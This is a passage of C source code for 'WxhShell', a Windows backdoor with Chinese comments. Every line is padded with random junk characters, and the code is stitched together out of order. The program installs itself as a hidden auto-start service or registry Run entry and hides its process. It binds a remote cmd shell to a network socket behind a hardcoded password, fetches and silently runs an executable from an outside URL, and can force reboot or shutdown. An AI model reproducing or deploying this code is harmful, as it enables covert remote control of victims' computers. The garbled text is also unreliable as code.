    closesocket(wsh); \$%q< _l  
    ExitThread(0); u/g4s (a  
    } Sx|)GTJJ|-  
    break; ZB@Bj>,b p  
    } @+ee0 CLT  
  // 关机 1j":j%9M  
  case 'd': { +kN/-UsB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QYj8c]8f  
    if(Boot(SHUTDOWN)) !1<?ddH6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\9v1O!T  
    else { ="Sa>-d o,  
    closesocket(wsh); xHo iu$i6  
    ExitThread(0); C. rLog#  
    } VvJ]*D+e  
    break; *4oj' }  
    } t3b64J[A{  
  // 获取shell UI}df<Ge  
  case 's': { ~|t 7  
    CmdShell(wsh); ^N`bA8  
    closesocket(wsh); ZlxJY%o eu  
    ExitThread(0); JZM:R  
    break; 3duWk sERC  
  } Z+?V10$  
  // 退出 cm!|A)~  
  case 'x': { <!qv$3/7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4_'($FC1  
    CloseIt(wsh); k ICZc{} `  
    break; u{SJ#3C5  
    } !W3bHy:C"  
  // 离开 ]BiLLDz(  
  case 'q': { map#4\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ck"lX[d1  
    closesocket(wsh); \Rff3$  
    WSACleanup(); 0>KW94  
    exit(1); asQXl#4r  
    break; WP b4L9<  
        } K9 tuiD+j  
  } EX.`6,:+2  
  } (ev(~Wc  
alB[/.1  
  // 提示信息 vsU1Lzna6@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (g>>   
} +>,4d  
  } _ Uxt9 X  
bw\a\/Dw  
  return; eJv_`#R&Of  
} Q\ AM] U  
Spt]<~  
// shell模块句柄 =5QP'Qt{O  
int CmdShell(SOCKET sock) 6JYVC>i  
{ w?LDaSz\t  
STARTUPINFO si; l0%qj(4`6&  
ZeroMemory(&si,sizeof(si)); N-g=_86C"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [LHx9(,NM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LQs>[3rK  
PROCESS_INFORMATION ProcessInfo; hQT  p&  
char cmdline[]="cmd"; hb_J. Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?k7z 5ow  
  return 0; ?9)-?tZ^Q  
} zYW+Goz/C  
r6#It$NU  
// 自身启动模式 6AW{qU6  
int StartFromService(void) =ZaTD-%id  
{ ee0)%hc1t  
typedef struct vg6 ' ^5S7  
{ jZX2)#a!  
  DWORD ExitStatus; hCcAAF*I;5  
  DWORD PebBaseAddress; }%;o#!<N(@  
  DWORD AffinityMask; V&75n.L  
  DWORD BasePriority; j~)GZV  
  ULONG UniqueProcessId; uR:@7n  
  ULONG InheritedFromUniqueProcessId; MI,b`pQ  
}   PROCESS_BASIC_INFORMATION; Q{~WWv  
vA r fsgk  
PROCNTQSIP NtQueryInformationProcess; =d{B.BP(  
+oT/v3,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `qnNEJL,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S1B^FLe7X  
[A.ix}3mm  
  HANDLE             hProcess; scsN2#D7U/  
  PROCESS_BASIC_INFORMATION pbi; I!L`W _  
_+vE(:T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >5aZ?#TS1  
  if(NULL == hInst ) return 0; A=z+@b6  
Tf bB1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "Y> #=>8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P&s-U6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yi*2^??` 1  
nX|f?5 O  
  if (!NtQueryInformationProcess) return 0; U^n71m>]%T  
"GTlJqhk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _8f? H#&  
  if(!hProcess) return 0; VT;Vm3\  
k\qF> =  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 007(k"=oV  
^J TrytIB  
  CloseHandle(hProcess); [K\Vc9  
~'[0-_]=f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m4<5jC`-M  
if(hProcess==NULL) return 0; [f?fA[, [  
X(`wj~45VX  
HMODULE hMod; r^m8kYezQ  
char procName[255]; `k 5'nnyP  
unsigned long cbNeeded; zree}VqD;5  
fnwhkL#8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~q.a<B`,t  
9uNkd2 #  
  CloseHandle(hProcess); kma)DW  
Qrnc;H9)  
if(strstr(procName,"services")) return 1; // 以服务启动 !Rq.L  
1TagQ  
  return 0; // 注册表启动 <yw6Om:n<  
} xE2sb*  
8K]5fkC|  
// 主模块 =nQgS.D  
int StartWxhshell(LPSTR lpCmdLine) 'nrX RDb  
{ * 7<{Xbsj^  
  SOCKET wsl; 0I`)<o-  
BOOL val=TRUE; /oWn0  
  int port=0; .}wVM`81z  
  struct sockaddr_in door; q, 8TOn  
oV(|51(f  
  if(wscfg.ws_autoins) Install(); bI_6';hq!  
)dv w.X  
port=atoi(lpCmdLine); _5nS!CN  
8%@![$q<g  
if(port<=0) port=wscfg.ws_port; ?nLlZpZ2v  
LR:v$3 G(  
  WSADATA data; a+U^mPe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *CIR$sS  
|B<;4ISaRI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BkP'b{z|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S[2uez`  
  door.sin_family = AF_INET; ?>p (*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9ff6Apill  
  door.sin_port = htons(port); e|t@"MxvC  
pn:) Rq0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X{ZcJ8K  
closesocket(wsl); ``zgw\f[%  
return 1; #GJ{@C3H8Q  
} z^ai *   
b6mSPH@  
  if(listen(wsl,2) == INVALID_SOCKET) { GQ@`qYLZ+  
closesocket(wsl); j.?c~Fh  
return 1; al<;*n{/  
} >{seaihK  
  Wxhshell(wsl); B=>VP-:  
  WSACleanup(); O3YD jas  
VP7g::Ab  
return 0; EDl*UG83G  
+ Z7 L&BI  
} ,[} XK9  
,R-T( <r  
// 以NT服务方式启动 7z_EX8^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JJHfg)  
{ ^Uj\s /  
DWORD   status = 0; QGR}`n2D  
  DWORD   specificError = 0xfffffff; 0Z m^6T  
gXNlnh%?S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \W,,@ -  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bPlqS+ai_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !nBE[&  
  serviceStatus.dwWin32ExitCode     = 0; ;ewqGDe'3  
  serviceStatus.dwServiceSpecificExitCode = 0; I)JqaM  
  serviceStatus.dwCheckPoint       = 0; dHzQAqb8J  
  serviceStatus.dwWaitHint       = 0; pZ@)9c  
|g$n-t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yDE0qUO  
  if (hServiceStatusHandle==0) return; >-%}'iz+  
@L9C_a  
status = GetLastError(); pL& Zcpx  
  if (status!=NO_ERROR) xy^t_];X  
{ JNJ96wnX1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N<$dbqoT|  
    serviceStatus.dwCheckPoint       = 0; V,*<E&+  
    serviceStatus.dwWaitHint       = 0; S`\03(zDA  
    serviceStatus.dwWin32ExitCode     = status; ]gw[ ~  
    serviceStatus.dwServiceSpecificExitCode = specificError; InAx;2'A:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dr[sSBTY"  
    return; ?xRx|_}e  
  } wm'a)B?  
m\0Xh*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tbH` VD"u  
  serviceStatus.dwCheckPoint       = 0; zc`gm~@  
  serviceStatus.dwWaitHint       = 0; -J06H&/k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X0}+X'3  
} ]UMt  
f*:DH4g }B  
// 处理NT服务事件,比如:启动、停止 |h7 d #V>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0E<xzYo  
{ PX} ~  
switch(fdwControl) ^?~WIS  
{ \Fs+H,S<  
case SERVICE_CONTROL_STOP: ld7B!_b<  
  serviceStatus.dwWin32ExitCode = 0; pkKcTY1Fx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gfW_S&&q  
  serviceStatus.dwCheckPoint   = 0; UGb<&)  
  serviceStatus.dwWaitHint     = 0; YcmLc)a7  
  { 1Mtm?3Pt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AW R   
  } F?Fs x)2k  
  return; UA8*8%v  
case SERVICE_CONTROL_PAUSE: F YLBaN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UyUz_6J  
  break; +wHrS}I#g  
case SERVICE_CONTROL_CONTINUE: %3:[0o={d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J-k/#A4o  
  break; K!+IRA@  
case SERVICE_CONTROL_INTERROGATE: 8E+]yB"  
  break; moOc G3=9  
}; vT&) 5nN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4%GwCEnS  
} 2LTMt?  
L%CBz]`  
// 标准应用程序主函数 YaT6vSz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %*A|hK+G:W  
{ JG:li} N  
0^-1/Ec  
// 获取操作系统版本 <y4WG  
OsIsNt=GetOsVer(); o?O> pK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #3_t}<fX  
!P"@oJ/Yy_  
  // 从命令行安装 r-s9]0"7~  
  if(strpbrk(lpCmdLine,"iI")) Install(); [gybdI5wur  
(Ev=kO  
  // 下载执行文件 '| 6ZPv&N  
if(wscfg.ws_downexe) { TpH-_ft  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L|*0 A=6  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dga;GYx  
} F*['1eAmdY  
11g_!X -g@  
if(!OsIsNt) { ~ubcD6f  
// 如果时win9x,隐藏进程并且设置为注册表启动 v.q`1D1=t  
HideProc(); "T4buTXJ  
StartWxhshell(lpCmdLine); *De}3-e1b  
} \+T U{vr  
else w~%Rxdh?8W  
  if(StartFromService()) n([9U0!gu  
  // 以服务方式启动 )s~szmJoVD  
  StartServiceCtrlDispatcher(DispatchTable); /n3Qcht  
else E|K|AdL  
  // 普通方式启动 a`*Dq"9pV  
  StartWxhshell(lpCmdLine); xo.k:F  
iRIO~XVo  
return 0; )7jJ3G*  
} xCYK"v6\  
=A]*r9  
sd,KB+)  
WcOnv'l,  
=========================================== +.2O Z3(  
c.eUlr_ {  
z4iTf8  
uz /Wbc>y  
!x$6wzKa  
MfU0*nVF~  
" ]I[\Io1  
6.'j \  
#include <stdio.h> bP)( 4+t~  
#include <string.h> Iy#=Nq=  
#include <windows.h> 5XzN%<_h9  
#include <winsock2.h> d2U+%%Tdw  
#include <winsvc.h> nXT/zfS  
#include <urlmon.h> Fxx -2(U  
PY76;D*`  
#pragma comment (lib, "Ws2_32.lib") pdySip<  
#pragma comment (lib, "urlmon.lib") tu:W1?  
4G3u8)b=  
#define MAX_USER   100 // 最大客户端连接数 $}8@?>-w  
#define BUF_SOCK   200 // sock buffer BA6(Owb  
#define KEY_BUFF   255 // 输入 buffer :%4N4| Q  
;@FCa j&  
#define REBOOT     0   // 重启 rX}FhBl5  
#define SHUTDOWN   1   // 关机 vs%d}]v  
_O3X;U7rc  
#define DEF_PORT   5000 // 监听端口 0$BX8?Z  
Q.MbzSgXL  
#define REG_LEN     16   // 注册表键长度 sP~;i qk  
#define SVC_LEN     80   // NT服务名长度 Pq(7lua7  
.2{*>Dzi  
// 从dll定义API +:kMYL3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jq*Q;}n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jYk5]2#A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WYm<_1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {l9gYA  
r7jh)Q;BbR  
// wxhshell配置信息 GCj[ySCD  
struct WSCFG { ' >k1h.i  
  int ws_port;         // 监听端口 yXT.]%)  
  char ws_passstr[REG_LEN]; // 口令 +.-g`Vyz*  
  int ws_autoins;       // 安装标记, 1=yes 0=no `>Ms7G9S~e  
  char ws_regname[REG_LEN]; // 注册表键名 -x VZm8y  
  char ws_svcname[REG_LEN]; // 服务名 tNG[|Bi#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BIXbdo5F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KsSIX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >+9:31p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +n>p"+c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]NyN@9u@(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f7b6!R;z_  
|)y-EBZe\"  
}; KP)t,\@f!  
%z6_,|%  
// default Wxhshell configuration mEg3.|  
struct WSCFG wscfg={DEF_PORT, O>eg_K,c  
    "xuhuanlingzhe", jct'B}@X(  
    1, J -z <&9  
    "Wxhshell", }z F,dst  
    "Wxhshell", #Q"04'g  
            "WxhShell Service", ( TJGJY  
    "Wrsky Windows CmdShell Service", 9Cs/B*3)b  
    "Please Input Your Password: ", g=$nNQ \6=  
  1, 1T}jK^"  
  "http://www.wrsky.com/wxhshell.exe", NpH9}, 1i  
  "Wxhshell.exe" 2 b80b50  
    }; %)w7t[A2D  
AAF']z<4_"  
// 消息定义模块 H5(: 1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =wMq!mBd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &S39SV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I23"DBR3  
char *msg_ws_ext="\n\rExit."; ~(`&hYE  
char *msg_ws_end="\n\rQuit."; NQcNY=  
char *msg_ws_boot="\n\rReboot..."; aMJJ|iiU  
char *msg_ws_poff="\n\rShutdown..."; vDIsawbHD  
char *msg_ws_down="\n\rSave to "; k'NP+N<M  
`$MO;Fv,G  
char *msg_ws_err="\n\rErr!"; uT>"(wnJ|  
char *msg_ws_ok="\n\rOK!"; jN!VrRA  
j dkqJ4&i  
char ExeFile[MAX_PATH]; 6a704l%#hb  
int nUser = 0; E BSjU8  
HANDLE handles[MAX_USER]; nG%<n  
int OsIsNt; )4RSo&9p`  
p2 !w86 F  
SERVICE_STATUS       serviceStatus; >*EJ6FPO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $ I J^  
X!6$<8+1OV  
// 函数声明 deEc;IAo  
int Install(void); b!qlucA eE  
int Uninstall(void); 6OR)97  
int DownloadFile(char *sURL, SOCKET wsh); akG|ic-~  
int Boot(int flag); n}C0gt-  
void HideProc(void);  i (`Q{l  
int GetOsVer(void); Y?- "HK:  
int Wxhshell(SOCKET wsl); uANpqT}!  
void TalkWithClient(void *cs); G!Yt.M 0  
int CmdShell(SOCKET sock); IP^1ca#<  
int StartFromService(void); t$b5,"G1  
int StartWxhshell(LPSTR lpCmdLine); b3ys"Vyn  
Z>~7|vl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :1;"{=Yx}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6]mAtA`Y  
Z= =c3~  
// 数据结构和表定义 y Z)-=H  
SERVICE_TABLE_ENTRY DispatchTable[] = p^w_-( p  
{ o(C;;C(*{  
{wscfg.ws_svcname, NTServiceMain}, jW{bP_,"  
{NULL, NULL} XePGOw))O  
}; eH~T PH  
o7^0Lo5Z?  
// 自我安装 =7EkN% V:{  
int Install(void) )6%a9&~H  
{ }@~+%_;  
  char svExeFile[MAX_PATH]; ]TN/n%\  
  HKEY key; /4}y2JVv)  
  strcpy(svExeFile,ExeFile); [ #fz [U  
k\RS L  
// 如果是win9x系统,修改注册表设为自启动 EHfB9%O7y  
if(!OsIsNt) { R 5\|pC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -wVuM.n(Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eh8lPTKil  
  RegCloseKey(key); q{+}0!o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u4'B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eIOMW9Ivt  
  RegCloseKey(key); xZ(d*/6E  
  return 0; 53?Ati\Y)  
    } mC3:P5/c  
  } R,fAl"wMu  
} "bz.nE*  
else { 03_M+lv  
h gu\~}kD  
// 如果是NT以上系统,安装为系统服务 wYDdy gS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lt i2KY}/%  
if (schSCManager!=0) {Es1bO  
{ >U(E \`9D  
  SC_HANDLE schService = CreateService {;O j  
  ( 9m<%+ S5&  
  schSCManager, U;*O7K=P  
  wscfg.ws_svcname, ce*?crOV  
  wscfg.ws_svcdisp, s#(7D3Pr#  
  SERVICE_ALL_ACCESS, L* ScSxw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p.H`lbVY  
  SERVICE_AUTO_START, $j \jT  
  SERVICE_ERROR_NORMAL, ]=59_bkD:s  
  svExeFile, 5H,(\Xd  
  NULL, i^8w0H<-@v  
  NULL, aimf,(+  
  NULL, Qwp2h"t`  
  NULL, m*\LO%s]E  
  NULL xe9\5Gb}  
  ); x3F94+<n{  
  if (schService!=0) 9< S  
  { u$X =2u:P  
  CloseServiceHandle(schService); I}m>t}QRI_  
  CloseServiceHandle(schSCManager); YN~1.!F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c~}FYO$  
  strcat(svExeFile,wscfg.ws_svcname); BqM[{Kv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =dmxE*C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O-box?  
  RegCloseKey(key); x=X&b%09  
  return 0; r?dkE=B  
    } bR$5G  
  } J% ZM V  
  CloseServiceHandle(schSCManager); FC  
} N34bB>_  
} d[*NDMO  
:&LV^ A  
return 1; rbs&A{i  
} uo*lW2&U  
Q.\vN-(  
// 自我卸载 "!uS!BI?  
int Uninstall(void) T5}5uk9  
{ iRqLLMrn  
  HKEY key; cVYu(ssC4  
$"k1^&&E  
if(!OsIsNt) { %NfH`%`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Aym@G|k?  
  RegDeleteValue(key,wscfg.ws_regname); 'Mhnu2d  
  RegCloseKey(key); /||8j.Tm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -y[y.#o  
  RegDeleteValue(key,wscfg.ws_regname); t;:Yf  
  RegCloseKey(key); $Rn9*OKr  
  return 0; vE)d0l"  
  } t{`-G*^  
} ca,c+5  
} ;yCtk ~T%  
else { 6zi Mf  
n A%8 bZ+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XpA|<s  
if (schSCManager!=0) &)|f|\yh"  
{ lwo,D}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uKB V`I  
  if (schService!=0) : qV|rih_Q  
  { >S S^qjh/  
  if(DeleteService(schService)!=0) { Ih;D-^RQ  
  CloseServiceHandle(schService); tf1Y5P$  
  CloseServiceHandle(schSCManager); =#wE*6T9  
  return 0; 0UGAc]!/RZ  
  } 238z'I+$G/  
  CloseServiceHandle(schService); VTi; y{  
  } @&9< )1F  
  CloseServiceHandle(schSCManager); ie7TO{W  
} /b6j<]H  
} PWfd<Yf!  
BZjL\{IW  
return 1; W 9bpKmc  
} w(ic$  
w;J#+ik  
// 从指定url下载文件 yA`,ns&n  
int DownloadFile(char *sURL, SOCKET wsh) :K(+ KN(  
{ f917F.1 I  
  HRESULT hr; k9c`[M  
char seps[]= "/"; Xob(4  
char *token; D2io3Lo$ov  
char *file; }/g1  
char myURL[MAX_PATH]; G {a;s-OA3  
char myFILE[MAX_PATH]; Yi19VU|/  
G B>T3l"  
strcpy(myURL,sURL); Bma.Uln  
  token=strtok(myURL,seps); "IWL& cH3  
  while(token!=NULL) w"A>mEex<  
  { "c![s%  
    file=token; 9Z3Vf[n5\  
  token=strtok(NULL,seps); eO{2rV45O  
  } Wck WX]};S  
5 L-6@@/  
GetCurrentDirectory(MAX_PATH,myFILE); zCu+Oi6  
strcat(myFILE, "\\"); eEeK ] 8@  
strcat(myFILE, file); gV'=u z v  
  send(wsh,myFILE,strlen(myFILE),0); -NDB.~E^DJ  
send(wsh,"...",3,0); %*Yb J_j7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tcI Z 2H%  
  if(hr==S_OK) +Lo,*  
return 0; uiWo<}t}{  
else I#W J";kqB  
return 1; VY0-18 o  
s##XC^;p[  
} T'N/A9{q  
gpCWXz')i  
// 系统电源模块 &@qB6!^  
int Boot(int flag) V~t; J  
{ P+0 -h  
  HANDLE hToken; p#gf^Y5  
  TOKEN_PRIVILEGES tkp; cWI7];/d;  
5)gC<  
  if(OsIsNt) { a JQ_V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jLEO-<)-)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c2d1'l]n  
    tkp.PrivilegeCount = 1; nNRc@9Lt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2V$YZSw6q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WTZuf9:  
if(flag==REBOOT) { @X_)%Y-^O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e^hI[LbNC  
  return 0; I3Ad+]v  
} p >nKNd_aQ  
else { \r &(l1R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'tVe#oI  
  return 0; Wa%p+(\<uB  
} ^YEMR C  
  } GEki34 n0  
  else { i\RB KF  
if(flag==REBOOT) { i\{fM}~W$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eW[](lGWM  
  return 0; t5S!j2E  
} M7neOQHq  
else { ket"fXqJX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U#4>GO;A  
  return 0; a!;K+wL >  
} 1c$c e+n~  
} yuF\YOA9  
Kq:vTz&<  
return 1; '8|joj>G=  
} U2(mWQ[mO  
M+L0 X$}NZ  
// win9x进程隐藏模块 "GAKi}y">v  
void HideProc(void) .3xf!E*  
{ ~Ecx>f4nX  
?lIh&C8]X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bWMb@zm  
  if ( hKernel != NULL ) 4& 9V  
  { EL9JM}%0v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &"X1w $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ES[]A&tf  
    FreeLibrary(hKernel); S2$r 6T  
  } eak+8URo  
=5g|7grQ:`  
return; tU>4?`)E  
} =#vU$~a  
]?hlpL  
// 获取操作系统版本 !]P=v`B.  
int GetOsVer(void) ='HLA-uT  
{ g"D:zK)  
  OSVERSIONINFO winfo; ~gOdK-SV*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7:OF>**  
  GetVersionEx(&winfo); ZZW%6-B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hj3wxH.}  
  return 1; iD:T KB_r  
  else 8{p#Nl?U1  
  return 0; kT&GsR/  
} ?O/!pUAu  
/Fp@j/50  
// 客户端句柄模块 +< c(;Ucl?  
int Wxhshell(SOCKET wsl) #vT~D>zj  
{ R"e533  
  SOCKET wsh; ;x4yidb6  
  struct sockaddr_in client; Njs'v;-K  
  DWORD myID; *0%G`Q  
nsi&r  
  while(nUser<MAX_USER) X1%_a.=VF  
{ eo4v[V&  
  int nSize=sizeof(client); p 4lB#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `AhTER  
  if(wsh==INVALID_SOCKET) return 1; AJt4I W@  
iKgH :[j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E^V4O l<  
if(handles[nUser]==0) NKRH>2,  
  closesocket(wsh); $(pVE}J  
else 6/L34VH  
  nUser++; <7J\8JR&=  
  } ]U3@V#*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A,%NdM;t=5  
J|dj`Z ?  
  return 0; h=ko_/<  
} ^1[u'DW4  
rh6m  
// 关闭 socket [u/Wh+  
void CloseIt(SOCKET wsh) fMRMQR=6B  
{ UjS,<>fm  
closesocket(wsh); `HsI)RmX  
nUser--; f.Ms3))  
ExitThread(0); ')j@OO3  
} 5=P*<Dnj  
(rjv3=9\3  
// 客户端请求句柄 /1LQx>1d  
void TalkWithClient(void *cs) UQ+!P<>w   
{ zT jk^  
o$,e#q)8  
  SOCKET wsh=(SOCKET)cs; GhY MO6Q4  
  char pwd[SVC_LEN]; l%MIna/Tp  
  char cmd[KEY_BUFF]; 0%]F&|  
char chr[1]; Z`kI6  
int i,j; }e&Z"H |  
Lz}mz-N  
  while (nUser < MAX_USER) { N uq/y=  
wnbKUlb  
if(wscfg.ws_passstr) { |j7{zsH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $jv/00:&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xtRHb''FX  
  //ZeroMemory(pwd,KEY_BUFF); Z66q0wR7  
      i=0; nSh}1Arp/  
  while(i<SVC_LEN) { c=~FXV!  
/}RW~ax  
  // 设置超时 $rmfE  
  fd_set FdRead; Y+_t50 S  
  struct timeval TimeOut; W= $, \D+  
  FD_ZERO(&FdRead); f#zm}+,`  
  FD_SET(wsh,&FdRead); DbvKpM H  
  TimeOut.tv_sec=8; ^EmI;ks  
  TimeOut.tv_usec=0; ]"4\]_?r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >^ M=/+<c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y4N=v{EbL  
<>^otb,e$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lAx^!#~\  
  pwd=chr[0]; +(J{~A~  
  if(chr[0]==0xd || chr[0]==0xa) { SHP_  
  pwd=0; ER*Et+ >  
  break; y4 ~;H{!  
  } S%k](\7!  
  i++; 8zk?:?8%{  
    } zsha/:b  
44(l1xEN+  
  // 如果是非法用户,关闭 socket *9xv0hRQ%?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j_HwR9^fd,  
} 8K0@*0  
5$L=l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W&8)yog.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cAc>p-y%  
N?krlR  
while(1) { @F0+t;  
U<mFwJ C]  
  ZeroMemory(cmd,KEY_BUFF); @b"J FB|  
%oqC5O6  
      // 自动支持客户端 telnet标准   6$*ZH *  
  j=0; AH#klYK  
  while(j<KEY_BUFF) { w-9fskd6e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ([L5i&DT  
  cmd[j]=chr[0]; 0'4V*Y  
  if(chr[0]==0xa || chr[0]==0xd) { {9*k \d/;  
  cmd[j]=0; @`Foy  
  break; ]-G10p}Ph-  
  } !L_\6;aP,x  
  j++; 7!"OF  
    } q\a'pp9d  
_qQB.Dzo:  
  // 下载文件 /4PV<[ :_  
  if(strstr(cmd,"http://")) { .YcI .  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 86N"EuH$  
